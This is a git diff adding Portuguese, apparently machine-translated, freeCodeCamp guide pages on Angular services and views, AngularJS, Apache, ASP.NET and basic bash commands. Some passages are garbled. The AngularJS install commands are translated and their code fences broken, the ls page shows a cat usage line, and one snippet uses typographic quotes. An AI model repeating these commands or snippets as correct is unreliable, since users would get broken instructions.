+ export class LoggerService { 
+  callStack:LogMessage[] = []; 
+ 
+  constructor() { } 
+ 
+  addLog(message:string):void { 
+      // prepend new log to bottom of stack 
+      this.callStack = [{ message, timestamp: new Date() }].concat(this.callStack); 
+  } 
+ 
+  clear():void { 
+      // clear stack 
+      this.callStack = []; 
+  } 
+ 
+  printHead():void { 
+      // print bottom of stack 
+      console.log(this.callStack[0] || null); 
+  } 
+ 
+  printLog():void { 
+      // print bottom to top of stack on screen 
+      this.callStack.reverse().forEach((logMessage) => console.log(logMessage)); 
+  } 
+ 
+  getLog():LogMessage[] { 
+      // return the entire log as an array 
+      return this.callStack.reverse(); 
+  } 
+ } 
+```
+
+LoggerService registra com o módulo raiz através dos metadados `@Injectable` . Assim, pode instanciar no `app.component.html` .
+
+```typescript
+// app.component.ts 
+ 
+ import { Component, OnInit } from '@angular/core'; 
+ import { LoggerService } from './services/logger.service'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  templateUrl: './app.component.html' 
+ }) 
+ export class AppComponent implements OnInit { 
+  logs:object[] = []; 
+ 
+  constructor(private logger:LoggerService) { } 
+ 
+  updateLog():void { 
+      this.logger.printHead(); 
+      this.logs = this.logger.getLog(); 
+  } 
+ 
+  logMessage(event:any, message:string):void { 
+      event.preventDefault(); 
+ 
+      this.logger.addLog(`Message: ${message}`); 
+      this.updateLog(); 
+  } 
+ 
+  clearLog():void { 
+      this.logger.clear(); 
+      this.logs = []; 
+  } 
+ 
+  ngOnInit():void { 
+      this.logger.addLog(“View Initialized”); 
+      this.updateLog(); 
+  } 
+ } 
+```
+
+O modelo HTML fornece mais informações sobre o uso do LoggerService pelo componente.
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <h1>Log Example</h1> 
+ 
+ <form (submit)="logMessage($event, userInput.value)"> 
+  <input #userInput placeholder="Type a message..."> 
+  <button type="submit">SUBMIT</button> 
+ </form> 
+ 
+ <h3>Complete Log</h3> 
+ <button type="button" (click)="clearLog()">CLEAR</button> 
+ <ul> 
+  <li *ngFor="let log of logs; let i=index">{{ logs.length - i }} > {{ log.message }} @ {{ log.timestamp }}</li> 
+ </ul> 
+```
+
+Isso tem a sensação de um aplicativo ToDo. Você pode registrar mensagens e limpar o registro de mensagens. Imagine se toda a lógica do serviço fosse colocada no AppComponent! Isso complicaria o código. O LoggerService mantém o código relacionado ao log encapsulado da classe principal AppComponent.
+
+##### Buscar solicitações
+
+Aqui está mais um exemplo que vale a pena brincar. Este exemplo é possível graças ao [JSONPlaceholder 1 do typicode](https://jsonplaceholder.typicode.com) . A API é pública e gratuita para uso.
+
+```typescript
+import { Injectable } from '@angular/core'; 
+ import { HttpClient } from '@angular/common/http'; 
+ import { Observable } from 'rxjs'; 
+ 
+ // https://jsonplaceholder.typicode.com 
+ // public API created by typicode @ https://github.com/typicode 
+ 
+ interface Post { 
+  userId:number; 
+  id:number; 
+  title:string; 
+  body:string; 
+ } 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class PlaceholderService { 
+  constructor(private http:HttpClient) { } 
+ 
+  getPosts():Observable<Post[]> { 
+      return this.http.get('https://jsonplaceholder.typicode.com/posts'); 
+  } 
+ 
+  getPost(id:number):Observable<Post> { 
+      return this.http.get(`https://jsonplaceholder.typicode.com/posts/${id}`); 
+  } 
+ } 
+```
+
+Esta é mais uma peça autônoma do que um exemplo totalmente desenvolvido. As solicitações de busca tendem a funcionar melhor como um serviço injetável. A alternativa é um componente complicado demais. A classe injetada se inscreve no que o PlaceholderService pré-configura.
+
+#### Conclusão
+
+Serviços e injeção de dependência são muito úteis juntos. Eles permitem que os desenvolvedores encapsulem a lógica comum e injetem em vários componentes diferentes. Isso por si só é uma enorme conveniência para qualquer manutenção futura.
+
+Injetores funcionam como intermediários. Eles mediam entre instanciar componentes e um reservatório de serviços registrados. Os injetores oferecem esses serviços instantâneos aos filhos de seus ramos.
+
+Veja os links a seguir para mais informações sobre serviços e injeção de dependência.
+
+## Fontes
+
+1.  [Typicode, _JSONPlaceholder_ , https://jsonplaceholder.typicode.com, acessado em 29 de maio de 2018.](https://jsonplaceholder.typicode.com)
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/docs)
+    
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+    
+*   [Injeção de dependência](https://angular.io/guide/dependency-injection-pattern)
+    
+*   [Introdução aos Serviços e DI](https://angular.io/guide/architecture-services)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/views/index.md b/client/src/guide/portuguese/angular/views/index.md
new file mode 100644
index 0000000000..3b807144a4
--- /dev/null
+++ b/client/src/guide/portuguese/angular/views/index.md
@@ -0,0 +1,243 @@
+---
+title: Views
+localeTitle: Views
+---
+# Views
+
+#### Motivação
+
+As visualizações oferecem uma camada necessária de abstração. Eles mantêm o Angular independente dos utilitários específicos da plataforma. Como uma tecnologia de plataforma cruzada, o Angular usa suas visualizações para se conectar à plataforma.
+
+Para cada elemento no HTML do modelo do Angular, há uma visualização correspondente. A Angular recomenda a interação com as plataformas por meio dessas visualizações. Embora a manipulação direta ainda seja possível, Angular adverte contra ela. A Angular oferece sua própria interface de programação de aplicativos (API) para substituir as manipulações nativas.
+
+Shunning views para API específica da plataforma tem suas conseqüências. Ao desenvolver o Angular em um navegador da Web, existem elementos em dois locais: o DOM e a visualização. Mexer apenas com o DOM não afeta a visão.
+
+Como o Angular não faz interface com a plataforma, isso cria uma descontinuidade. As visualizações devem espelhar a plataforma um para um. Caso contrário, o Angular desperdiça recursos gerenciando elementos que não são compatíveis. Isso é terrível no caso de elementos excluídos.
+
+Esses tipos de discrepâncias fazem com que as visualizações pareçam desnecessárias. Nunca esqueça que o Angular é uma plataforma de desenvolvimento universal acima de tudo. As visualizações são uma abstração necessária para esse fim.
+
+Ao aderir a visualizações, os aplicativos Angular funcionarão em todas as plataformas de desenvolvimento suportadas. As plataformas incluem a Web, o Android e o Apple iOS.
+
+#### Nota
+
+De agora em diante, este artigo pressupõe um ambiente de navegador da web. Sinta-se à vontade para substituir mentalmente o DOM por algo mais aplicável à sua plataforma preferida.
+
+#### O que são vistas?
+
+As visualizações são quase como seu próprio DOM virtual. Cada visualização contém uma referência a uma seção correspondente do DOM. Dentro de uma visão são nós que espelham o que está nesta seção. Angular atribui um nó de vista por elemento DOM. Cada nó contém uma referência a um elemento correspondente.
+
+Quando o Angular verifica se há alterações, ele verifica as visualizações. Angular evita o DOM sob o capô. As visualizações referenciam o DOM em seu nome. Outros mecanismos estão em vigor para garantir que as alterações na exibição sejam renderizadas no DOM. Por outro lado, as alterações no DOM não afetam as visualizações.
+
+Novamente, as visualizações são comuns em todas as plataformas de desenvolvimento, além do DOM. Mesmo se desenvolvendo para uma plataforma, as visualizações ainda são consideradas a melhor prática. Eles garantem Angular tem uma interpretação correta do DOM.
+
+Exibições podem não existir em bibliotecas de terceiros. A manipulação direta de DOM é uma saída de escape para esse tipo de cenário. Concedido, não espere que o aplicativo funcione em várias plataformas.
+
+#### Tipos de vistas
+
+Existem dois tipos principais de visualizações: incorporado e host.
+
+Também existem contêineres de exibição. Eles mantêm exibições incorporadas e de host e geralmente são chamadas de “visualizações” simples.
+
+Cada classe `@Component` registra um contêiner de exibição (exibição) com Angular. Novos componentes geram um seletor personalizado visando um determinado elemento DOM. A visão é anexada a esse elemento onde quer que ele apareça. Angular agora sabe que o componente existe olhando para o modelo de visão.
+
+As visualizações do host são anexadas a componentes criados dinamicamente com fábricas. As fábricas fornecem um modelo para a instanciação de visualizações. Dessa forma, o aplicativo pode instanciar a exibição do host do componente durante o tempo de execução. Uma exibição de host é anexada ao wrapper de um componente por sua instanciação. Essa visualização armazena dados descrevendo recursos de componentes convencionais.
+
+`<ng-template></ng-template>` é semelhante ao elemento HTML5 `<template></template>` . O `ng-template` do Angular trabalha com visualizações incorporadas. Essas visualizações não são anexadas aos elementos DOM, ao contrário das exibições do host. Eles são idênticos aos modos de exibição do host, pois ambos os tipos existem dentro dos contêineres de exibição.
+
+Tenha em mente que o `ng-template` não é um elemento DOM. Ele é comentado mais tarde, deixando apenas os nós de visualização incorporados.
+
+A diferença depende dos dados de entrada; As visualizações incorporadas não armazenam dados do componente. Eles armazenam uma série de elementos como nós que compreendem seu modelo. O modelo compõe todo o innerHTML do `ng-template` . Cada elemento dentro da visão incorporada é seu próprio nó de visão separado.
+
+#### Exibições de host e contêineres
+
+Exibições de _host hospedam_ componentes dinâmicos. Ver contêineres (visualizações) anexar automaticamente aos elementos já no modelo. As visualizações podem se conectar a qualquer elemento além do que é exclusivo das classes de componentes.
+
+Pense no método tradicional de geração de componentes. Começa criando uma classe, decorando-a com `@Component` e preenchendo metadados. Essa abordagem ocorre para qualquer elemento componente predefinido do modelo.
+
+Tente usar o comando da interface de linha de comandos (CLI) Angular: `ng generate component [name-of-component]` . Isso produz o seguinte.
+
+```typescript
+import { Component, OnInit } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html', 
+  styleUrls: ['./example.component.css'] 
+ }) 
+ export class ExampleComponent implements OnInit { 
+  constructor() { } 
+ 
+  ngOnInit() { } 
+ } 
+```
+
+Isso cria o componente com o seletor `app-example` . Isso anexa um contêiner de exibição a `<app-example></app-example>` no modelo. Se essa fosse a raiz do aplicativo, sua visualização encapsularia todas as outras visualizações. A visão raiz marca o início do aplicativo a partir da perspectiva do Angular.
+
+Criar componentes dinamicamente e registrá-los no modelo de visualização Angular requer alguns passos extras. Diretivas estruturais ajudam a gerenciar o conteúdo dinâmico ( `*ngIf, *ngFor, and *ngSwitch…` ). Diretivas não escalam para aplicações maiores, no entanto. Muitas diretivas estruturais complicam o modelo.
+
+É aqui que os componentes instanciadores da lógica de classe existente são úteis. Esses componentes precisam criar uma exibição de host que possa ser inserida no modelo de exibição. As visualizações do host contêm dados para os componentes, de modo que o Angular reconheça sua finalidade estrutural.
+
+##### Exibições de host continuadas
+
+Todo componente tem uma definição de classe. No entanto, o JavaScript não suporta classes. Classes são açúcar sintático. Eles produzem funções contendo fábricas de componentes.
+
+As fábricas atuam como blueprints para visualizações de host. Eles criam visualizações para interagir com o Angular em nome de seus componentes. Visualizações de host anexar a elementos DOM. Tecnicamente, qualquer elemento é OK, mas o destino mais comum é `<ng-component></ng-component>` .
+
+Um contêiner de exibição (view) para manter vistas deve existir primeiro. `<ng-container></ng-container>` é um ótimo lugar para anexar um contêiner de exibição. Os contêineres de exibição são o mesmo tipo de visualizações que também se aplicam a elementos de classe de modelo.
+
+Alguns ajudantes e referências de `@angular/core` fornecem os outros utilitários necessários. O exemplo a seguir coloca tudo junto.
+
+```typescript
+// another.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  template: ` 
+  <h1>Another Component Content</h1> 
+  <h3>Dynamically Generated!</h3> 
+  ` 
+ }) 
+ export class AnotherComponent { } 
+```
+
+```typescript
+// example.component.ts 
+ 
+ import { AfterViewInit, Component, ViewChild, 
+ ViewContainerRef, ComponentFactoryResolver } from '@angular/core'; 
+ import { AnotherComponent } from './another.component'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>Application Content</h1> 
+  <ng-container #container></ng-container> 
+  <h3>End of Application</h3> 
+  `, 
+  entryComponents: [ AnotherComponent ] 
+ }) 
+ export class ExampleComponent implements AfterViewInit { 
+  @ViewChild("container", { read: ViewContainerRef }) ctr: ViewContainerRef; 
+ 
+  constructor(private resolve: ComponentFactoryResolver) { } 
+ 
+  ngAfterViewInit() { 
+    const factory = this.resolve.resolveComponentFactory(AnotherComponent); 
+    this.ctr.createComponent(factory); 
+  } 
+ } 
+```
+
+Suponha que AnotherComponent e ExampleComponent sejam declarados no mesmo módulo. AnotherComponent é um componente de classe simples adicionado dinamicamente na visualização do ExampleComponent. Os metadados `entryComponents` do ExampleComponent devem conter AnotherComponent para [bootstrapping](https://angular.io/guide/bootstrapping) .
+
+Enquanto ExampleComponent é uma parte do modelo, AnotherComponent permanece desanexado. Ele é renderizado dinamicamente no modelo de ExampleComponent.
+
+Há dois contêineres de exibição presentes: `<app-example></app-example>` e `<ng-container></ng-container>` . A exibição do host para este exemplo será inserida no `ng-container` .
+
+O gancho do ciclo de vida `AfterViewInit` acionado depois que as consultas `@ViewChild` concluídas. Usando a _variável de referência_ do _modelo_ `#container` , o `@ViewChild` referência ao `ng-container` como `ctr` .
+
+`ViewContainerRef` é o tipo de referência para os contêineres de exibição (visualizações). `ViewContainerRef` referência a uma exibição que suporta a inserção de outras visualizações. `ViewContainerRef` contém mais métodos para gerenciar suas visualizações contidas.
+
+Por meio da injeção de dependência, o construtor instancia uma instância do serviço `ComponentFactoryResolver` do Angular. Esse serviço extrai a função de fábrica (blueprint de exibição de host) de AnotherComponent.
+
+O argumento único de `createComponent` requer uma fábrica. A função `createComponent` deriva de `ViewContainerRef` . Instancia o AnotherComponent sob uma exibição de host derivada da fábrica do componente.
+
+A exibição do host é inserida no contêiner de exibição. `<ng-component></ng-component>` envolve o componente dentro do contêiner de exibição. Ele anexou a visualização de host acima mencionada. `ng-component` é a conexão da visão do host com o DOM.
+
+Existem outras maneiras de criar uma exibição de host dinamicamente a partir de um componente. Outras maneiras geralmente se [concentram na otimização](https://blog.angularindepth.com/working-with-dom-in-angular-unexpected-consequences-and-optimization-techniques-682ac09f6866) .
+
+O `ViewContainerRef` contém uma API poderosa. Ele pode gerenciar qualquer quantidade de exibições hospedadas ou incorporadas em sua visualização. A API inclui operações de visualização, como inserir, mover e excluir. Isso permite manipular o DOM por meio do modelo de visualização do Angular. Essa é uma prática recomendada para que o Angular e o DOM correspondam um ao outro.
+
+#### Visualizações incorporadas
+
+Nota: as visualizações incorporadas anexam a outras visualizações nenhuma entrada adicionada. As visualizações do host são anexadas a um elemento DOM com dados de entrada de sua exibição de host, descrevendo-o como um componente.
+
+Diretivas estruturais criam um [`ng-template` torno de uma parte do conteúdo HTML](https://angular.io/guide/structural-directives#the-asterisk--prefix) . O elemento host da diretiva possui um contêiner de exibição anexado. Isso faz com que o conteúdo possa renderizar condicionalmente no layout pretendido.
+
+O `ng-template` contém os nós de visualização incorporados que representam cada elemento dentro de seu innerHTML. `ng-template` é de forma alguma um elemento DOM. Comenta-se. As tags definem a extensão de sua visão incorporada.
+
+#### Exibições incorporadas continuadas
+
+Instanciar uma visão incorporada não requer recursos externos além de sua própria referência. A consulta `@ViewChild` pode buscar isso.
+
+Com a referência do modelo, chamar o `createEmbeddedView` dele faz o truque. O innerHTML da referência se torna sua própria instância de visualização incorporada.
+
+No próximo exemplo, `<ng-container></ng-container>` é um contêiner de exibição. `ng-container` é comentado durante a compilação, assim como o `ng-template` . Assim, ele fornece uma saída para inserir a visualização incorporada, mantendo o DOM enxuto.
+
+O modelo de visualização incorporado é inserido no local de layout do `ng-container` . Essa visualização recém-inserida não tem nenhum encapsulamento de exibição adicional além do contêiner de exibição. Lembre-se de como isso difere das exibições de host (visualizações de host anexadas ao wrapper de elemento `ng-component` ).
+
+```typescript
+import { Component, AfterViewInit, ViewChild, 
+ ViewContainerRef, TemplateRef } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>Application Content</h1> 
+  <ng-container #container></ng-container> <!-- embed view here --> 
+  <h3>End of Application</h3> 
+ 
+  <ng-template #template> 
+    <h1>Template Content</h1> 
+    <h3>Dynamically Generated!</h3> 
+  </ng-template> 
+  ` 
+ }) 
+ export class ExampleComponent implements AfterViewInit { 
+  @ViewChild("template", { read: TemplateRef }) tpl: TemplateRef<any>; 
+  @ViewChild("container", { read: ViewContainerRef }) ctr: ViewContainerRef; 
+ 
+  constructor() { } 
+ 
+  ngAfterViewInit() { 
+    const view =  this.tpl.createEmbeddedView(null); 
+    this.ctr.insert(view); 
+  } 
+ } 
+```
+
+Consultas `@ViewChild` para a _variável de referência_ do _modelo_ `#template` . Isso fornece uma referência de modelo do tipo `TemplateRef` . `TemplateRef` contém a função `createEmbeddedView` . Instancia o modelo como uma visão incorporada.
+
+O único argumento de `createEmbeddedView` é para o contexto. Se você quisesse passar metadados adicionais, poderia fazê-lo aqui como um objeto. Os campos devem corresponder aos atributos `ng-template` ( `let-[context-field-key-name]=“value”` ). Passar `null` indica que nenhum metadado extra é necessário.
+
+Uma segunda consulta `@ViewChild` fornece uma referência ao `ng-container` como um `ViewContainerRef` . As visualizações incorporadas só se anexam a outras visualizações, nunca ao DOM. O `ViewContainerRef` referência à visão que leva na visão incorporada.
+
+Uma visualização incorporada também pode ser inserida na exibição de componente de `<app-example></app-example>` . Essa abordagem posiciona a exibição no final da exibição do ExampleComponent. Neste exemplo, no entanto, queremos que o conteúdo apareça no meio onde o `ng-container` está.
+
+A função de `insert` `ViewContainerRef` _insere_ a visão incorporada no `ng-container` . O conteúdo da visualização mostra ups no local pretendido bem no meio da visualização do ExampleComponent.
+
+#### Conclusão
+
+Manipular o DOM com métodos específicos da plataforma não é recomendado. Criar e gerenciar um conjunto restrito de visualizações mantém o Angular e o DOM na mesma página. A atualização das visualizações informa o Angular sobre o estado atual do DOM. Atualizações para as exibições também são transferidas para o que o DOM exibe.
+
+Angular fornece uma API flexível para interação de visualização. O desenvolvimento de aplicativos independentes de plataforma é possível graças a esse nível de abstração. Evidentemente, a tentação de recuar em estratégias dependentes de plataforma persiste. A menos que você tenha uma boa razão para não tentar manter as visualizações que a Angular fornece. Isso produzirá resultados previsíveis em todas as plataformas.
+
+Confira os recursos abaixo também! Este artigo apenas arranha a superfície. As exibições têm muitos outros casos de uso muito grandes para um artigo.
+
+## Fontes
+
+*   [AngularInDepth.com. “Vista de Componente, Visualização de Host, Visualização Incorporada”, # 40423772. 11 de julho de 2017. "Qual é a diferença entre uma exibição, uma exibição de host e uma exibição incorporada"](https://stackoverflow.com/questions/40423772/what-is-the-difference-between-a-view-a-host-view-and-an-embedded-view)
+    
+*   [Equipa Angular “Diretivas Estruturais”. _Google_ . Acessado em 31 de maio de 2018](https://angular.io/guide/structural-directives)
+    
+*   [Koretskyi, Maxim. “Explorando técnicas de manipulação de DOM Angular usando ViewContainerRef”. _Angular Em Profundidade_ , 4 Mar. 2017. Acessado em 30 de maio de 2018.](https://blog.angularindepth.com/exploring-angular-dom-abstractions-80b3ebcfc02)
+    
+*   [Koretskyi, Maxim. “Implementando cenários avançados de manipulação de DOM”. _Youtube_ , carregado por ng-conf, 19 de abril de 2018. Acessado em 30 de maio de 2018](https://www.youtube.com/watch?v=vz9cNCkaPsY)
+    
+*   [Koretskyi, Maxim. “Trabalhando com DOM em Angular: conseqüências inesperadas e técnicas de otimização”. _Angular em profundidade_ , 3 de maio de 2017. Acessado em 31 de maio de 2018](https://blog.angularindepth.com/working-with-dom-in-angular-unexpected-consequences-and-optimization-techniques-682ac09f6866)
+    
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/guide/pipes)
+    
+*   [Angular em Profundidade](https://blog.angularindepth.com)
+    
+*   [ViewContainerRef](https://angular.io/api/core/ViewContainerRef)
+    
+*   [TemplateRef](https://angular.io/api/core/TemplateRef)
+    
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+    
+*   [CLI Angular](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angularjs/index.md b/client/src/guide/portuguese/angularjs/index.md
new file mode 100644
index 0000000000..0cb8e45041
--- /dev/null
+++ b/client/src/guide/portuguese/angularjs/index.md
@@ -0,0 +1,30 @@
+---
+title: AngularJS
+localeTitle: AngularJS
+---
+## AngularJS
+
+O AngularJS (versões 1.x) é uma estrutura JavaScript de front-end de software livre. O AngularJS estende o HTML para desenvolver front-ends ricos e poderosos. Reduz o uso repetitivo de código HTML. Esta repetição pode ser evitada usando as diretivas fornecidas pelo AngularJS que salva muito tempo e esforço.
+
+**Instalar** :
+
+npm:
+
+\`\` \`shell npm instalar angular
+```
+HTML: 
+```
+
+html
+```
+bower: 
+```
+
+Concha bower instalar angular
+```
+HTML: 
+```
+
+html
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/apache/index.md b/client/src/guide/portuguese/apache/index.md
new file mode 100644
index 0000000000..736fa677b9
--- /dev/null
+++ b/client/src/guide/portuguese/apache/index.md
@@ -0,0 +1,7 @@
+---
+title: Apache
+localeTitle: Apache
+---
+## Apache
+
+O Apache HTTP Server, comumente conhecido como Apache, é um servidor web de plataforma cruzada gratuito e de código aberto, lançado sob os termos da [Apache License 2.0](https://en.wikipedia.org/wiki/Apache_License) . O Apache é desenvolvido e mantido por uma comunidade aberta de desenvolvedores sob os auspícios da Apache Software Foundation.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/aspnet/index.md b/client/src/guide/portuguese/aspnet/index.md
new file mode 100644
index 0000000000..dffd152198
--- /dev/null
+++ b/client/src/guide/portuguese/aspnet/index.md
@@ -0,0 +1,17 @@
+---
+title: ASPNET
+localeTitle: ASPNET
+---
+## ASP.NET
+
+# Visão geral
+
+ASP.Net é uma plataforma de desenvolvimento web fornecida pela Microsoft. Ele é usado para criar aplicativos e sites baseados na Web usando HTML, CSS e JavaScript como front-end. Linguagens de programação do lado do servidor como C # e VB .NET podem ser usadas para codificar o backend.
+
+O ASP.NET oferece diferentes estruturas para a criação de aplicativos da Web: por exemplo, Web Forms e ASP.NET MVC.
+
+#### Mais Informações:
+
+*   [Tutoriais sobre ASP .NET](https://www.tutorialspoint.com/asp.net/)
+*   [Site ASP.NET](https://www.asp.net/)
+*   [Documentação do Microsoft .NET ASP](https://docs.microsoft.com/en-us/aspnet/#pivot=aspnet/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bash/bash-cat/index.md b/client/src/guide/portuguese/bash/bash-cat/index.md
new file mode 100644
index 0000000000..f5684085a3
--- /dev/null
+++ b/client/src/guide/portuguese/bash/bash-cat/index.md
@@ -0,0 +1,39 @@
+---
+title: Bash Cat
+localeTitle: Gato bash
+---
## Gato bash
+
+Cat é um dos comandos mais usados ​​nos sistemas operacionais Unix.
+
+O Cat é usado para ler um arquivo seqüencialmente e imprimi-lo na saída padrão. O nome é derivado de sua função para arquivos Enate con **gato.**
+
+### Uso
+
+```bash
+cat [options] [file_names] 
+```
+
+Opções mais usadas:
+
+*   `-b` , numerosas linhas de saída não em branco
+*   `-n` , numera todas as linhas de saída
+*   `-s` , aperte várias linhas em branco adjacentes
+*   `-v` , exibe caracteres não imprimíveis, exceto para tabulações e o caractere de fim de linha
+
+### Exemplo
+
+Imprima no terminal o conteúdo do arquivo.txt:
+
+```bash
+cat file.txt 
+```
+
+Concatene o conteúdo dos dois arquivos e exiba o resultado no terminal:
+
+```bash
+cat file1.txt file2.txt 
+```
+
+#### Mais Informações:
+
+*   Wikipedia: https://en.wikipedia.org/wiki/Cat\_(Unix)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bash/bash-cd/index.md b/client/src/guide/portuguese/bash/bash-cd/index.md
new file mode 100644
index 0000000000..c0ae6644f4
--- /dev/null
+++ b/client/src/guide/portuguese/bash/bash-cd/index.md
@@ -0,0 +1,18 @@
+---
+title: Bash cd
+localeTitle: Bash cd
+---
+## Comando Bash: cd
+
+**Altere o diretório** para o caminho especificado, por exemplo, `cd projects` .
+
+Existem alguns argumentos realmente úteis para ajudar isso:
+
+*   `.` refere-se ao diretório atual, como `./projects`
+*   `..` pode ser usado para subir uma pasta, usar `cd ..` e pode ser combinado para subir vários níveis `../../my_folder`
+*   `/` é a raiz do seu sistema para acessar pastas principais, como `system` , `users` etc.
+*   `~` é o diretório inicial, geralmente o caminho `/users/username` . Volte para as pastas referenciadas em relação a esse caminho, incluindo-o no início do caminho, por exemplo, `~/projects` .
+
+### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Cd_(command))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bash/bash-head/index.md b/client/src/guide/portuguese/bash/bash-head/index.md
new file mode 100644
index 0000000000..7c13927fe7
--- /dev/null
+++ b/client/src/guide/portuguese/bash/bash-head/index.md
@@ -0,0 +1,45 @@
+---
+title: Bash Head
+localeTitle: Bash Head
+---
+## Comando Bash: head
+
+Head é usado para imprimir as dez primeiras linhas (por padrão) ou qualquer outra quantidade especificada de um arquivo ou arquivos. O Cat é usado para ler um arquivo seqüencialmente e imprimi-lo na saída padrão. ou seja, imprime todo o conteúdo do arquivo inteiro. - isso nem sempre é necessário, talvez você queira apenas verificar o conteúdo de um arquivo para ver se é o correto, ou verificar se ele realmente não está vazio. O comando head permite visualizar as primeiras N linhas de um arquivo.
+
+se mais de um arquivo for chamado, as dez primeiras linhas de cada arquivo serão exibidas, a menos que um número específico de linhas seja especificado. A escolha de exibir o cabeçalho do arquivo é opcional usando a opção abaixo
+
+### Uso
+
+```bash
+head [options] [file_name(s)] 
+```
+
+Opções mais usadas:
+
+*   `-n N` , imprime as primeiras N linhas do (s) arquivo (s)
+*   `-q` , não imprime os cabeçalhos de arquivo
+*   `-v` , sempre imprime os cabeçalhos dos arquivos
+
+### Exemplo
+
+```bash
+head file.txt 
+```
+
+Imprime no terminal as primeiras dez linhas do arquivo.txt (padrão)
+
+```bash
+head -n 7 file.txt 
+```
+
+Imprime no terminal as primeiras sete linhas do arquivo.txt
+
+```bash
+head -q -n 5 file1.txt file2.txt 
+```
+
+Imprima no terminal as primeiras 5 linhas do arquivo1.txt, seguidas das primeiras 5 linhas do arquivo2.txt
+
+### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Head_(Unix))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bash/bash-ls/index.md b/client/src/guide/portuguese/bash/bash-ls/index.md
new file mode 100644
index 0000000000..a2cab47fdc
--- /dev/null
+++ b/client/src/guide/portuguese/bash/bash-ls/index.md
@@ -0,0 +1,35 @@
+---
+title: Bash ls
+localeTitle: Bash ls
+---
## Bash ls
+
+`ls` é um comando em sistemas operacionais do tipo Unix para listar o conteúdo de um diretório, por exemplo, nomes de pastas e arquivos.
+
+### Uso
+
+```bash
+cat [options] [file_names] 
+```
+
+Opções mais usadas:
+
+*   `-a` , todos os arquivos e pastas, incluindo os que estão ocultos e começam com a `.`
+*   `-l` , lista em formato longo
+*   `-G` , habilitar saída colorida.
+
+### Exemplo:
+
+Listar arquivos no `freeCodeCamp/guide/`
+
+```bash
+ls                                                                ⚬ master 
+ CODE_OF_CONDUCT.md bin                package.json       utils 
+ CONTRIBUTING.md    gatsby-browser.js  plugins            yarn.lock 
+ LICENSE.md         gatsby-config.js   src 
+ README.md          gatsby-node.js     static 
+ assets             gatsby-ssr.js      translations 
+```
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Ls)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bash/bash-man/index.md b/client/src/guide/portuguese/bash/bash-man/index.md
new file mode 100644
index 0000000000..b6b82ccdd0
--- /dev/null
+++ b/client/src/guide/portuguese/bash/bash-man/index.md
@@ -0,0 +1,31 @@
+---
+title: Bash Man
+localeTitle: Bash Man
+---
## Homem
+
+Man, a abreviatura de **man** ual, é um comando bash usado para exibir manuais de referência on-line do comando fornecido.
+
+Homem exibe a página homem reletive (curto para **o homem** **página** ual) do comando dado.
+
+### Uso
+
+```bash
+man [options] [command] 
+```
+
+Opções mais usadas:
+
+*   `-f` , imprime uma breve descrição do comando fornecido
+*   `-a` , exibir, sucessivamente, todas as páginas de manual de introdução disponíveis contidas no manual
+
+### Exemplo
+
+Exibe a página man do ls:
+
+```bash
+man ls 
+```
+
+#### Mais Informações:
+
+*   Wikipédia: https://en.wikipedia.org/wiki/Man\_page
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bash/bash-mv/index.md b/client/src/guide/portuguese/bash/bash-mv/index.md
new file mode 100644
index 0000000000..5c55402a33
--- /dev/null
+++ b/client/src/guide/portuguese/bash/bash-mv/index.md
@@ -0,0 +1,22 @@
+---
+title: Bash mv
+localeTitle: Bash mv
+---
+## Comando Bash: mv
+
+**Move arquivos e pastas.**
+```
+mv source target 
+ mv source ... directory 
+```
+
+O primeiro argumento é o arquivo que você deseja mover e o segundo é o local para movê-lo.
+
+Opções comumente usadas:
+
+*   `-f` forçar movê-los e sobrescrever arquivos sem verificar com o usuário.
+*   `-i` para solicitar confirmação antes de sobrescrever arquivos.
+
+### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Mv)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bash/index.md b/client/src/guide/portuguese/bash/index.md
new file mode 100644
index 0000000000..1deffa3e12
--- /dev/null
+++ b/client/src/guide/portuguese/bash/index.md
@@ -0,0 +1,62 @@
+---
+title: Bash
+localeTitle: Bater
+---
+## O que é o Bash?
+
+Bash (abreviação de Bourne Again SHell) é um shell Unix e um interpretador de linguagem de comando. Um shell é simplesmente um processador de macros que executa comandos. É o shell mais usado empacotado por padrão para a maioria das distribuições do Linux, e um sucessor para o shell Korn (ksh) e o shell C (csh).
+
+Muitas coisas que podem ser feitas sistema operacional Linux pode ser feito via linha de comando. Alguns exemplos são…
+
+*   Editando arquivos
+*   Ajustando o volume do sistema operacional
+*   Buscando páginas da web da internet
+*   Automatizando o trabalho que você faz todos os dias
+
+Você pode ler mais sobre o bash [aqui](https://www.gnu.org/software/bash/) , através da [Documentação GNU](https://www.gnu.org/software/bash/manual/html_node/index.html#SEC_Contents) , e através do [guia tldp](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html#toc10) .
+
+## Usando o bash na linha de comando (Linux, OS X)
+
+Você pode começar a usar o bash na maioria dos sistemas operacionais Linux e OS X abrindo um terminal. Vamos considerar um simples exemplo de hello world. Abra o seu terminal e escreva a seguinte linha (tudo depois do sinal $):
+```
